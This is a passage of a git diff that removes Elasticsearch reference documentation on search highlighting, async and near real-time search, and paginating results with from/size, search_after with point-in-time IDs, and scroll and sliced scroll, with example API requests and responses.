-fields are highlighted but a plugin might.
-
-
-
-
-[discrete]
-[[control-highlighted-frags]]
-== Control highlighted fragments
-
-Each field highlighted can control the size of the highlighted fragment
-in characters (defaults to `100`), and the maximum number of fragments
-to return (defaults to `5`).
-For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "fields" : {
-      "comment" : {"fragment_size" : 150, "number_of_fragments" : 3}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-On top of this it is possible to specify that highlighted fragments need
-to be sorted by score:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "order" : "score",
-    "fields" : {
-      "comment" : {"fragment_size" : 150, "number_of_fragments" : 3}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-If the `number_of_fragments` value is set to `0` then no fragments are
-produced, instead the whole content of the field is returned, and of
-course it is highlighted. This can be very handy if short texts (like
-document title or address) need to be highlighted but no fragmentation
-is required. Note that `fragment_size` is ignored in this case.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query" : {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight" : {
-    "fields" : {
-      "body" : {},
-      "blog.title" : {"number_of_fragments" : 0}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-When using `fvh` one can use `fragment_offset`
-parameter to control the margin to start highlighting from.
-
-In the case where there is no matching fragment to highlight, the default is
-to not return anything. Instead, we can return a snippet of text from the
-beginning of the field by setting `no_match_size` (default `0`) to the length
-of the text that you want returned. The actual length may be shorter or longer than
-specified as it tries to break on a word boundary.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": { "user.id": "kimchy" }
-  },
-  "highlight": {
-    "fields": {
-      "comment": {
-        "fragment_size": 150,
-        "number_of_fragments": 3,
-        "no_match_size": 150
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[discrete]
-[[highlight-postings-list]]
-== Highlight using the postings list
-
-Here is an example of setting the `comment` field in the index mapping to
-allow for highlighting using the postings:
-
-[source,console]
---------------------------------------------------
-PUT /example
-{
-  "mappings": {
-    "properties": {
-      "comment" : {
-        "type": "text",
-        "index_options" : "offsets"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Here is an example of setting the `comment` field to allow for
-highlighting using the `term_vectors` (this will cause the index to be bigger):
-
-[source,console]
---------------------------------------------------
-PUT /example
-{
-  "mappings": {
-    "properties": {
-      "comment" : {
-        "type": "text",
-        "term_vector" : "with_positions_offsets"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[discrete]
-[[specify-fragmenter]]
-== Specify a fragmenter for the plain highlighter
-
-When using the `plain` highlighter, you can choose between the `simple` and
-`span` fragmenters:
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "match_phrase": { "message": "number 1" }
-  },
-  "highlight": {
-    "fields": {
-      "message": {
-        "type": "plain",
-        "fragment_size": 15,
-        "number_of_fragments": 3,
-        "fragmenter": "simple"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 1.6011951,
-    "hits": [
-      {
-        "_index": "my-index-000001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 1.6011951,
-        "_source": {
-          "message": "some message with the number 1"
-        },
-        "highlight": {
-          "message": [
-            " with the <em>number</em>",
-            " <em>1</em>"
-          ]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,/]
-
-[source,console]
---------------------------------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "match_phrase": { "message": "number 1" }
-  },
-  "highlight": {
-    "fields": {
-      "message": {
-        "type": "plain",
-        "fragment_size": 15,
-        "number_of_fragments": 3,
-        "fragmenter": "span"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:messages]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "hits": {
-    "total": {
-      "value": 1,
-      "relation": "eq"
-    },
-    "max_score": 1.6011951,
-    "hits": [
-      {
-        "_index": "my-index-000001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 1.6011951,
-        "_source": {
-          "message": "some message with the number 1"
-        },
-        "highlight": {
-          "message": [
-            " with the <em>number</em> <em>1</em>"
-          ]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,/]
-
-If the `number_of_fragments` option is set to `0`,
-`NullFragmenter` is used which does not fragment the text at all.
-This is useful for highlighting the entire contents of a document or field.
-
-
-[discrete]
-[[how-es-highlighters-work-internally]]
-== How highlighters work internally
-
-Given a query and a text (the content of a document field), the goal of a
-highlighter is to find the best text fragments for the query, and highlight
-the query terms in the found fragments. For this, a highlighter needs to
-address several questions:
-
-- How break a text into fragments?
-- How to find the best fragments among all fragments?
-- How to highlight the query terms in a fragment?
-
-[discrete]
-=== How to break a text into fragments?
-Relevant settings: `fragment_size`, `fragmenter`, `type` of highlighter,
-`boundary_chars`, `boundary_max_scan`, `boundary_scanner`, `boundary_scanner_locale`.
-
-Plain highlighter begins with analyzing the text using the given analyzer,
-and creating a token stream from it. Plain highlighter uses a very simple
-algorithm to break the token stream into fragments. It loops through terms in the token stream,
-and every time the current term's end_offset exceeds `fragment_size` multiplied by the number of
-created fragments, a new fragment is created. A little more computation is done with using `span`
-fragmenter to avoid breaking up text between highlighted terms. But overall, since the breaking is
-done only by `fragment_size`, some fragments can be quite odd, e.g. beginning
-with a punctuation mark.
-
-Unified or FVH highlighters do a better job of breaking up a text into
-fragments by utilizing Java's `BreakIterator`. This ensures that a fragment
-is a valid sentence as long as `fragment_size` allows for this.
-
-[discrete]
-=== How to find the best fragments?
-Relevant settings: `number_of_fragments`.
-
-To find the best, most relevant, fragments, a highlighter needs to score
-each fragment in respect to the given query. The goal is to score only those
-terms that participated in generating the 'hit' on the document.
-For some complex queries, this is still work in progress.
-
-The plain highlighter creates an in-memory index from the current token stream,
-and re-runs the original query criteria through Lucene's query execution planner
-to get access to low-level match information for the current text.
-For more complex queries the original query could be converted to a span query,
-as span queries can handle phrases more accurately. Then this obtained low-level match
-information is used to score each individual fragment. The scoring method of the plain
-highlighter is quite simple. Each fragment is scored by the number of unique
-query terms found in this fragment. The score of individual term is equal to its boost,
-which is by default is 1. Thus, by default, a fragment that contains one unique query term,
-will get a score of 1; and a fragment that contains two unique query terms,
-will get a score of 2 and so on. The fragments are then sorted by their scores,
-so the highest scored fragments will be output first.
-
-FVH doesn't need to analyze the text and build an in-memory index, as it uses
-pre-indexed document term vectors, and finds among them terms that correspond to the query.
-FVH scores each fragment by the number of query terms found in this fragment.
-Similarly to plain highlighter, score of individual term is equal to its boost value.
-In contrast to plain highlighter, all query terms are counted, not only unique terms.
-
-Unified highlighter can use pre-indexed term vectors or pre-indexed terms offsets,
-if they are available. Otherwise, similar to Plain Highlighter, it has to create
-an in-memory index from the text. Unified highlighter uses the BM25 scoring model
-to score fragments.
-
-[discrete]
-=== How to highlight the query terms in a fragment?
-Relevant settings:  `pre-tags`, `post-tags`.
-
-The goal is to highlight only those terms that participated in generating the 'hit' on the document.
-For some complex boolean queries, this is still work in progress, as highlighters don't reflect
-the boolean logic of a query and only extract leaf (terms, phrases, prefix etc) queries.
-
-Plain highlighter given the token stream and the original text, recomposes the original text to
-highlight only terms from the token stream that are contained in the low-level match information
-structure from the previous step.
-
-FVH and unified highlighter use intermediate data structures to represent
-fragments in some raw form, and then populate them with actual text.
-
-A highlighter uses `pre-tags`, `post-tags` to encode highlighted terms.
-
-[discrete]
-=== An example of the work of the unified highlighter
-
-Let's look in more details how unified highlighter works.
-
-First, we create a index with a text field `content`, that will be indexed
-using `english` analyzer, and will be indexed without offsets or term vectors.
-
-[source,js]
---------------------------------------------------
-PUT test_index
-{
-  "mappings": {
-    "properties": {
-      "content": {
-        "type": "text",
-        "analyzer": "english"
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-We put the following document into the index:
-
-[source,js]
---------------------------------------------------
-PUT test_index/_doc/doc1
-{
-  "content" : "For you I'm only a fox like a hundred thousand other foxes. But if you tame me, we'll need each other. You'll be the only boy in the world for me. I'll be the only fox in the world for you."
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-And we ran the following query with a highlight request:
-
-[source,js]
---------------------------------------------------
-GET test_index/_search
-{
-  "query": {
-    "match_phrase" : {"content" : "only fox"}
-  },
-  "highlight": {
-    "type" : "unified",
-    "number_of_fragments" : 3,
-    "fields": {
-      "content": {}
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-After `doc1` is found as a hit for this query, this hit will be passed to the
-unified highlighter for highlighting the field `content` of the document.
-Since the field `content` was not indexed either with offsets or term vectors,
-its raw field value will be analyzed, and in-memory index will be built from
-the terms that match the query:
-
-    {"token":"onli","start_offset":12,"end_offset":16,"position":3},
-    {"token":"fox","start_offset":19,"end_offset":22,"position":5},
-    {"token":"fox","start_offset":53,"end_offset":58,"position":11},
-    {"token":"onli","start_offset":117,"end_offset":121,"position":24},
-    {"token":"onli","start_offset":159,"end_offset":163,"position":34},
-    {"token":"fox","start_offset":164,"end_offset":167,"position":35}
-
-Our complex phrase query will be converted to the span query:
-`spanNear([text:onli, text:fox], 0, true)`, meaning that we are looking for
-terms "onli: and "fox" within 0 distance from each other, and in the given
-order. The span query will be run against the created before in-memory index,
-to find the following match:
-
-    {"term":"onli", "start_offset":159, "end_offset":163},
-    {"term":"fox", "start_offset":164, "end_offset":167}
-
-In our example, we have got a single match, but there could be several matches.
-Given the matches, the unified highlighter breaks the text of the field into
-so called "passages". Each passage must contain at least one match.
-The unified highlighter with the use of Java's `BreakIterator` ensures that each
-passage represents a full sentence as long as it doesn't exceed `fragment_size`.
-For our example, we have got a single passage with the following properties
-(showing only a subset of the properties here):
-
-    Passage:
-        startOffset: 147
-        endOffset: 189
-        score: 3.7158387
-        matchStarts: [159, 164]
-        matchEnds: [163, 167]
-        numMatches: 2
-
-Notice how a passage has a score, calculated using the BM25 scoring formula
-adapted for passages. Scores allow us to choose the best scoring
-passages if there are more passages available than the requested
-by the user `number_of_fragments`. Scores also let us to sort passages by
-`order: "score"` if requested by the user.
-
-As the final step, the unified highlighter will extract from the field's text
-a string corresponding to each passage:
-
-    "I'll be the only fox in the world for you."
-
-and will format with the tags <em> and </em> all matches in this string
-using the passages's `matchStarts` and `matchEnds` information:
-
-    I'll be the <em>only</em> <em>fox</em> in the world for you.
-
-This kind of formatted strings are the final result of the highlighter returned
-to the user.
\ No newline at end of file
diff --git a/docs/reference/search/search-your-data/long-running-searches.asciidoc b/docs/reference/search/search-your-data/long-running-searches.asciidoc
deleted file mode 100644
index d51e017b0f9..00000000000
--- a/docs/reference/search/search-your-data/long-running-searches.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[async-search-intro]]
-== Long-running searches
-
-{es} generally allows you to quickly search across big amounts of data. There are
-situations where a search executes on many many shards, possibly against
-<<frozen-indices,frozen indices>> and spanning multiple
-<<modules-remote-clusters,remote clusters>>, for which
-results are not expected to be returned in milliseconds. When you need to
-execute long-running searches, synchronously
-waiting for its results to be returned is not ideal. Instead, Async search lets
-you submit a search request that gets executed _asynchronously_,
-monitor the progress of the request, and retrieve results at a later stage.
-You can also retrieve partial results as they become available but
-before the search has completed.
-
-You can submit an async search request using the <<submit-async-search,submit
-async search>> API. The <<get-async-search,get async search>> API allows you to
-monitor the progress of an async search request and retrieve its results. An
-ongoing async search can be deleted through the <<delete-async-search,delete
-async search>> API.
diff --git a/docs/reference/search/search-your-data/near-real-time.asciidoc b/docs/reference/search/search-your-data/near-real-time.asciidoc
deleted file mode 100644
index fe24a593cff..00000000000
--- a/docs/reference/search/search-your-data/near-real-time.asciidoc
+++ /dev/null
@@ -1,25 +0,0 @@
-[[near-real-time]]
-== Near real-time search
-The overview of <<documents-indices,documents and indices>> indicates that when a document is stored in {es}, it is indexed and fully searchable in _near real-time_--within 1 second. What defines near real-time search?
-
-Lucene, the Java libraries on which {es} is based, introduced the concept of per-segment search. A _segment_ is similar to an inverted index, but the word _index_ in Lucene means "a collection of segments plus a commit point". After a commit, a new segment is added to the commit point and the buffer is cleared.
-
-Sitting between {es} and the disk is the filesystem cache. Documents in the in-memory indexing buffer (<<img-pre-refresh,Figure 1>>) are written to a new segment (<<img-post-refresh,Figure 2>>). The new segment is written to the filesystem cache first (which is cheap) and only later is it flushed to disk (which is expensive). However, after a file is in the cache, it can be opened and read just like any other file.
-
-[[img-pre-refresh]]
-.A Lucene index with new documents in the in-memory buffer
-image::images/lucene-in-memory-buffer.png["A Lucene index with new documents in the in-memory buffer"]
-
-Lucene allows new segments to be written and opened, making the documents they contain visible to search ​without performing a full commit. This is a much lighter process than a commit to disk, and can be done frequently without degrading performance.
-
-[[img-post-refresh]]
-.The buffer contents are written to a segment, which is searchable, but is not yet committed
-image::images/lucene-written-not-committed.png["The buffer contents are written to a segment, which is searchable, but is not yet committed"]
-
-In {es}, this process of writing and opening a new segment is called a _refresh_. A refresh makes all operations performed on an index since the last refresh available for search. You can control refreshes through the following means:
-
-* Waiting for the refresh interval
-* Setting the <<docs-refresh,?refresh>> option
-* Using the <<indices-refresh,Refresh API>> to explicitly complete a refresh (`POST _refresh`)
-
-By default, {es} periodically refreshes indices every second, but only on indices that have received one search request or more in the last 30 seconds. This is why we say that {es} has _near_ real-time search: document changes are not visible to search immediately, but will become visible within this timeframe.
diff --git a/docs/reference/search/search-your-data/paginate-search-results.asciidoc b/docs/reference/search/search-your-data/paginate-search-results.asciidoc
deleted file mode 100644
index f036d04fb00..00000000000
--- a/docs/reference/search/search-your-data/paginate-search-results.asciidoc
+++ /dev/null
@@ -1,483 +0,0 @@
-[[paginate-search-results]]
-== Paginate search results
-
-By default, searches return the top 10 matching hits. To page through a larger
-set of results, you can use the <<search-search,search API>>'s `from` and `size`
-parameters. The `from` parameter defines the number of hits to skip, defaulting
-to `0`. The `size` parameter is the maximum number of hits to return. Together,
-these two parameters define a page of results.
-
-[source,console]
-----
-GET /_search
-{
-  "from": 5,
-  "size": 20,
-  "query": {
-    "match": {
-      "user.id": "kimchy"
-    }
-  }
-}
-----
-
-Avoid using `from` and `size` to page too deeply or request too many results at
-once. Search requests usually span multiple shards. Each shard must load its
-requested hits and the hits for any previous pages into memory. For deep pages
-or large sets of results, these operations can significantly increase memory and
-CPU usage, resulting in degraded performance or node failures.
-
-By default, you cannot use `from` and `size` to page through more than 10,000
-hits. This limit is a safeguard set by the
-<<index-max-result-window,`index.max_result_window`>> index setting. If you need
-to page through more than 10,000 hits, use the <<search-after,`search_after`>>
-parameter instead.
-
-WARNING: {es} uses Lucene's internal doc IDs as tie-breakers. These internal doc
-IDs can be completely different across replicas of the same data. When paging
-search hits, you might occasionally see that documents with the same sort values
-are not ordered consistently.
-
-[discrete]
-[[search-after]]
-=== Search after
-
-You can use the `search_after` parameter to retrieve the next page of hits
-using a set of <<sort-search-results,sort values>> from the previous page.
-
-Using `search_after` requires multiple search requests with the same `query` and
-`sort` values. If a <<near-real-time,refresh>> occurs between these requests,
-the order of your results may change, causing inconsistent results across pages. To
-prevent this, you can create a <<point-in-time-api,point in time (PIT)>> to
-preserve the current index state over your searches.
-
-[source,console]
-----
-POST /my-index-000001/_pit?keep_alive=1m
-----
-// TEST[setup:my_index]
-
-The API returns a PIT ID.
-
-[source,console-result]
-----
-{
-  "id": "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWICBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA=="
-}
-----
-// TESTRESPONSE[s/"id": "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWICBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA=="/"id": $body.id/]
-
-To get the first page of results, submit a search request with a `sort`
-argument. If using a PIT, specify the PIT ID in the `pit.id` parameter and omit
-the target data stream or index from the request path.
-
-IMPORTANT: We recommend you include a tiebreaker field in your `sort`. This
-tiebreaker field should contain a unique value for each document. If you don't
-include a tiebreaker field, your paged results could miss or duplicate hits.
-
-[source,console]
-----
-GET /_search
-{
-  "size": 10000,
-  "query": {
-    "match" : {
-      "user.id" : "elkbee"
-    }
-  },
-  "pit": {
-	    "id":  "46ToAwMDaWR4BXV1aWQxAgZub2RlXzEAAAAAAAAAAAEBYQNpZHkFdXVpZDIrBm5vZGVfMwAAAAAAAAAAKgFjA2lkeQV1dWlkMioGbm9kZV8yAAAAAAAAAAAMAWICBXV1aWQyAAAFdXVpZDEAAQltYXRjaF9hbGw_gAAAAA==", <1>
-	    "keep_alive": "1m"
-  },
-  "sort": [ <2>
-    {"@timestamp": "asc"},
-    {"tie_breaker_id": "asc"}
-  ]
-}
-----
-// TEST[catch:missing]
-
-<1> PIT ID for the search.
-<2> Sorts hits for the search.
-
-The search response includes an array of `sort` values for each hit. If you used
-a PIT, the response's `pit_id` parameter contains an updated PIT ID.
-
-[source,console-result]
-----
-{
-  "pit_id" : "46ToAwEPbXktaW5kZXgtMDAwMDAxFnVzaTVuenpUVGQ2TFNheUxVUG5LVVEAFldicVdzOFFtVHZTZDFoWWowTGkwS0EAAAAAAAAAAAQURzZzcUszUUJ5U1NMX3Jyak5ET0wBFnVzaTVuenpUVGQ2TFNheUxVUG5LVVEAAA==", <1>
-  "took" : 17,
-  "timed_out" : false,
-  "_shards" : ...,
-  "hits" : {
-    "total" : ...,
-    "max_score" : null,
-    "hits" : [
-      ...
-      {
-        "_index" : "my-index-000001",
-        "_id" : "FaslK3QBySSL_rrj9zM5",
-        "_score" : null,
-        "_source" : ...,
-        "sort" : [                                <2>
-          4098435132000,
-          "FaslK3QBySSL_rrj9zM5"
-        ]
-      }
-    ]
-  }
-}
-----
-// TESTRESPONSE[skip: unable to access PIT ID]
-
-<1> Updated `id` for the point in time.
-<2> Sort values for the last returned hit.
-
-To get the next page of results, rerun the previous search using the last hit's
-sort values as the `search_after` argument. If using a PIT, use the latest PIT
-ID in the `pit.id` parameter. The search's `query` and `sort` arguments must
-remain unchanged. If provided, the `from` argument must be `0` (default) or `-1`.
-
-[source,console]
-----
-GET /_search
-{
-  "size": 10000,
-  "query": {
-    "match" : {
-      "user.id" : "elkbee"
-    }
-  },
-  "pit": {
-	    "id":  "46ToAwEPbXktaW5kZXgtMDAwMDAxFnVzaTVuenpUVGQ2TFNheUxVUG5LVVEAFldicVdzOFFtVHZTZDFoWWowTGkwS0EAAAAAAAAAAAQURzZzcUszUUJ5U1NMX3Jyak5ET0wBFnVzaTVuenpUVGQ2TFNheUxVUG5LVVEAAA==", <1>
-	    "keep_alive": "1m"
-  },
-  "sort": [
-    {"@timestamp": "asc"},
-    {"tie_breaker_id": "asc"}
-  ],
-  "search_after": [                                <2>
-    4098435132000,
-    "FaslK3QBySSL_rrj9zM5"
-  ]
-}
-----
-// TEST[catch:missing]
-
-<1> PIT ID returned by the previous search.
-<2> Sort values from the previous search's last hit.
-
-You can repeat this process to get additional pages of results. If using a PIT,
-you can extend the PIT's retention period using the
-`keep_alive` parameter of each search request.
-
-When you're finished, you should delete your PIT.
-
-[source,console]
-----
-DELETE /_pit
-{
-    "id" : "46ToAwEPbXktaW5kZXgtMDAwMDAxFnVzaTVuenpUVGQ2TFNheUxVUG5LVVEAFldicVdzOFFtVHZTZDFoWWowTGkwS0EAAAAAAAAAAAQURzZzcUszUUJ5U1NMX3Jyak5ET0wBFnVzaTVuenpUVGQ2TFNheUxVUG5LVVEAAA=="
-}
-----
-// TEST[catch:missing]
-
-
-[discrete]
-[[scroll-search-results]]
-=== Scroll search results
-
-IMPORTANT: We no longer recommend using the scroll API for deep pagination. If
-you need to preserve the index state while paging through more than 10,000 hits,
-use the <<search-after,`search_after`>> parameter with a point in time (PIT).
-
-While a `search` request returns a single ``page'' of results, the `scroll`
-API can be used to retrieve large numbers of results (or even all results)
-from a single search request, in much the same way as you would use a cursor
-on a traditional database.
-
-Scrolling is not intended for real time user requests, but rather for
-processing large amounts of data, e.g. in order to reindex the contents of one
-data stream or index into a new data stream or index with a different
-configuration.
-
-.Client support for scrolling and reindexing
-*********************************************
-
-Some of the officially supported clients provide helpers to assist with
-scrolled searches and reindexing:
-
-Perl::
-
-    See https://metacpan.org/pod/Search::Elasticsearch::Client::5_0::Bulk[Search::Elasticsearch::Client::5_0::Bulk]
-    and https://metacpan.org/pod/Search::Elasticsearch::Client::5_0::Scroll[Search::Elasticsearch::Client::5_0::Scroll]
-
-Python::
-
-    See https://elasticsearch-py.readthedocs.org/en/master/helpers.html[elasticsearch.helpers.*]
-
-JavaScript::
-
-    See {jsclient-current}/client-helpers.html[client.helpers.*]
-
-*********************************************
-
-NOTE: The results that are returned from a scroll request reflect the state of
-the data stream or index at the time that the initial `search` request was  made, like a
-snapshot in time. Subsequent changes to documents (index, update or delete)
-will only affect later search requests.
-
-In order to use scrolling, the initial search request should specify the
-`scroll` parameter in the query string, which tells Elasticsearch how long it
-should keep the ``search context'' alive (see <<scroll-search-context>>), eg `?scroll=1m`.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_search?scroll=1m
-{
-  "size": 100,
-  "query": {
-    "match": {
-      "message": "foo"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-The result from the above request includes a `_scroll_id`, which should
-be passed to the `scroll` API in order to retrieve the next batch of
-results.
-
-[source,console]
---------------------------------------------------
-POST /_search/scroll                                                               <1>
-{
-  "scroll" : "1m",                                                                 <2>
-  "scroll_id" : "DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==" <3>
-}
---------------------------------------------------
-// TEST[continued s/DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==/$body._scroll_id/]
-
-<1> `GET` or `POST` can be used and the URL should not include the `index`
-    name -- this is specified in the original `search` request instead.
-<2> The `scroll` parameter tells Elasticsearch to keep the search context open
-    for another `1m`.
-<3> The `scroll_id` parameter
-
-The `size` parameter allows you to configure the maximum number of hits to be
-returned with each batch of results.  Each call to the `scroll` API returns the
-next batch of results until there are no more results left to return, ie the
-`hits` array is empty.
-
-IMPORTANT: The initial search request and each subsequent scroll request each
-return a `_scroll_id`. While the `_scroll_id` may change between requests, it doesn’t
-always change — in any case, only the most recently received `_scroll_id` should be used.
-
-NOTE: If the request specifies aggregations, only the initial search response
-will contain the aggregations results.
-
-NOTE: Scroll requests have optimizations that make them faster when the sort
-order is `_doc`. If you want to iterate over all documents regardless of the
-order, this is the most efficient option:
-
-[source,console]
---------------------------------------------------
-GET /_search?scroll=1m
-{
-  "sort": [
-    "_doc"
-  ]
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-[discrete]
-[[scroll-search-context]]
-==== Keeping the search context alive
-
-A scroll returns all the documents which matched the search at the time of the
-initial search request. It ignores any subsequent changes to these documents.
-The `scroll_id` identifies a _search context_ which keeps track of everything
-that {es} needs to return the correct documents. The search context is created
-by the initial request and kept alive by subsequent requests.
-
-The `scroll` parameter (passed to the `search` request and to every `scroll`
-request) tells Elasticsearch how long it should keep the search context alive.
-Its value (e.g. `1m`, see <<time-units>>) does not need to be long enough to
-process all data -- it just needs to be long enough to process the previous
-batch of results. Each `scroll` request (with the `scroll` parameter) sets a
-new  expiry time. If a `scroll` request doesn't pass in the `scroll`
-parameter, then the search context will be freed as part of _that_ `scroll`
-request.
-
-Normally, the background merge process optimizes the index by merging together
-smaller segments to create new, bigger segments. Once the smaller segments are
-no longer needed they are deleted. This process continues during scrolling, but
-an open search context prevents the old segments from being deleted since they
-are still in use.
-
-TIP: Keeping older segments alive means that more disk space and file handles
-are needed. Ensure that you have configured your nodes to have ample free file
-handles. See <<file-descriptors>>.
-
-Additionally, if a segment contains deleted or updated documents then the
-search context must keep track of whether each document in the segment was live
-at the time of the initial search request. Ensure that your nodes have
-sufficient heap space if you have many open scrolls on an index that is subject
-to ongoing deletes or updates.
-
-NOTE: To prevent against issues caused by having too many scrolls open, the
-user is not allowed to open scrolls past a certain limit. By default, the
-maximum number of open scrolls is 500. This limit can be updated with the
-`search.max_open_scroll_context` cluster setting.
-
-You can check how many search contexts are open with the
-<<cluster-nodes-stats,nodes stats API>>:
-
-[source,console]
----------------------------------------
-GET /_nodes/stats/indices/search
----------------------------------------
-
-[discrete]
-[[clear-scroll]]
-==== Clear scroll
-
-Search context are automatically removed when the `scroll` timeout has been
-exceeded. However keeping scrolls open has a cost, as discussed in the
-<<scroll-search-context,previous section>> so scrolls should be explicitly
-cleared as soon as the scroll is not being used anymore using the
-`clear-scroll` API:
-
-[source,console]
----------------------------------------
-DELETE /_search/scroll
-{
-  "scroll_id" : "DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ=="
-}
----------------------------------------
-// TEST[catch:missing]
-
-Multiple scroll IDs can be passed as array:
-
-[source,console]
----------------------------------------
-DELETE /_search/scroll
-{
-  "scroll_id" : [
-    "DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==",
-    "DnF1ZXJ5VGhlbkZldGNoBQAAAAAAAAABFmtSWWRRWUJrU2o2ZExpSGJCVmQxYUEAAAAAAAAAAxZrUllkUVlCa1NqNmRMaUhiQlZkMWFBAAAAAAAAAAIWa1JZZFFZQmtTajZkTGlIYkJWZDFhQQAAAAAAAAAFFmtSWWRRWUJrU2o2ZExpSGJCVmQxYUEAAAAAAAAABBZrUllkUVlCa1NqNmRMaUhiQlZkMWFB"
-  ]
-}
----------------------------------------
-// TEST[catch:missing]
-
-All search contexts can be cleared with the `_all` parameter:
-
-[source,console]
----------------------------------------
-DELETE /_search/scroll/_all
----------------------------------------
-
-The `scroll_id` can also be passed as a query string parameter or in the request body.
-Multiple scroll IDs can be passed as comma separated values:
-
-[source,console]
----------------------------------------
-DELETE /_search/scroll/DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==,DnF1ZXJ5VGhlbkZldGNoBQAAAAAAAAABFmtSWWRRWUJrU2o2ZExpSGJCVmQxYUEAAAAAAAAAAxZrUllkUVlCa1NqNmRMaUhiQlZkMWFBAAAAAAAAAAIWa1JZZFFZQmtTajZkTGlIYkJWZDFhQQAAAAAAAAAFFmtSWWRRWUJrU2o2ZExpSGJCVmQxYUEAAAAAAAAABBZrUllkUVlCa1NqNmRMaUhiQlZkMWFB
----------------------------------------
-// TEST[catch:missing]
-
-[discrete]
-[[slice-scroll]]
-==== Sliced scroll
-
-For scroll queries that return a lot of documents it is possible to split the scroll in multiple slices which
-can be consumed independently:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search?scroll=1m
-{
-  "slice": {
-    "id": 0,                      <1>
-    "max": 2                      <2>
-  },
-  "query": {
-    "match": {
-      "message": "foo"
-    }
-  }
-}
-GET /my-index-000001/_search?scroll=1m
-{
-  "slice": {
-    "id": 1,
-    "max": 2
-  },
-  "query": {
-    "match": {
-      "message": "foo"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index_big]
-
-<1> The id of the slice
-<2> The maximum number of slices
-
-The result from the first request returned documents that belong to the first slice (id: 0) and the result from the
-second request returned documents that belong to the second slice. Since the maximum number of slices is set to 2
- the union of the results of the two requests is equivalent to the results of a scroll query without slicing.
-By default the splitting is done on the shards first and then locally on each shard using the _id field
-with the following formula:
-`slice(doc) = floorMod(hashCode(doc._id), max)`
-For instance if the number of shards is equal to 2 and the user requested 4 slices then the slices 0 and 2 are assigned
-to the first shard and the slices 1 and 3 are assigned to the second shard.
-
-Each scroll is independent and can be processed in parallel like any scroll request.
-
-NOTE: If the number of slices is bigger than the number of shards the slice filter is very slow on the first calls, it has a complexity of O(N) and a memory cost equals
-to N bits per slice where N is the total number of documents in the shard.
-After few calls the filter should be cached and subsequent calls should be faster but you should limit the number of
- sliced query you perform in parallel to avoid the memory explosion.
-
-To avoid this cost entirely it is possible to use the `doc_values` of another field to do the slicing
-but the user must ensure that the field has the following properties:
-
-    * The field is numeric.
-
-    * `doc_values` are enabled on that field
-
-    * Every document should contain a single value. If a document has multiple values for the specified field, the first value is used.
-
-    * The value for each document should be set once when the document is created and never updated. This ensures that each
-slice gets deterministic results.
-
-    * The cardinality of the field should be high. This ensures that each slice gets approximately the same amount of documents.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search?scroll=1m
-{
-  "slice": {
-    "field": "@timestamp",
-    "id": 0,
-    "max": 10
-  },
-  "query": {
-    "match": {
-      "message": "foo"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index_big]
-
-For append only time-based indices, the `timestamp` field can be used safely.
-
-NOTE: By default the maximum number of slices allowed per scroll is limited to 1024.
